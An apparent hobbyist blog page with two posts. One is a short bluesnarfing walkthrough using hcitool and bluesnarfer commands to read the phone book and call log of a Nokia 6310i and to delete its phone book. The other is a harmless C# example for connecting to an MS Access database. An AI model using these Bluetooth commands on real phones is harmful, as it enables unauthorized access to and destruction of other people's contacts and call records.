:: Bluesnarfing nokia 6310i ::
Hi there
after getting a good Bluetooth Device that work excllent on linux
i said why not trying the bluesnarfing with BackTrack 3
note i wrote this throw windows so the result not show :S
first to check the bluetooth device :
thedon# hciconfig
the result show the device is down :S
so i make it up using
thedon# hciconfig up hci0
now lets search for any mobile
thedon# hcitool scan hci0
scanning
xx:Xx:xx:xx:xx nokia the don
after having the mac address lets hack it
now to view the phone book
thedon# bluesnarfer -r 1-50 -b Xx:xx:xx:XX
>>>>>>>
>>>>>>>
now to show recived call on a phone
thedon# bluesnarfer -s RC -r 1-50 -b xx:xx:xx
where RC: is received call
to delete the phone book simply by
thedon# bluesnarfer -w 1-50 -b xx:xx:xx
thats all and still tryng it
having fun lo00olz :D
:: C# Connect To MS Access Database ::
hi there
this a simple way to conect to MS access database using C#
first we need to use the :
// For MS Access
using System.Data.OleDb;
/// Decleaer a Connection String where Database2.mdb isyour database in the data directory
public static string connection = @”Provider=Microsoft.Jet.OLEDB.4.0;Data Source=|DataDirectory|\Database2.mdb”;
//define a oledb connection with out connection string
OleDbConnection con = new OleDbConnection(connection);
// Define a dataset becuase here i used disconected model ADO.net
DataSet dbset= new DataSet();
//define a sql query string
string sql= “select * from table”;
// define a data adapter that retirve data
OleDbDataAdapter adr = new OleDbDataAdapter(sql, con);
// open the connection
con.Open();
// fill the data set from the data adapter
adr.Fill(dbset);
//So now all the data will be in the data Set
// Close the connection
con.Close();
//Enjoy
-
Archives
- November 2009 (2)
- October 2009 (5)
- June 2009 (2)
- March 2009 (1)
- January 2009 (2)
- December 2008 (1)
- November 2008 (2)
- September 2008 (10)
- August 2008 (3)
- June 2008 (2)
- May 2008 (1)
- May 2007 (11)
-
Categories
-
RSS
Entries RSS
Comments RSS
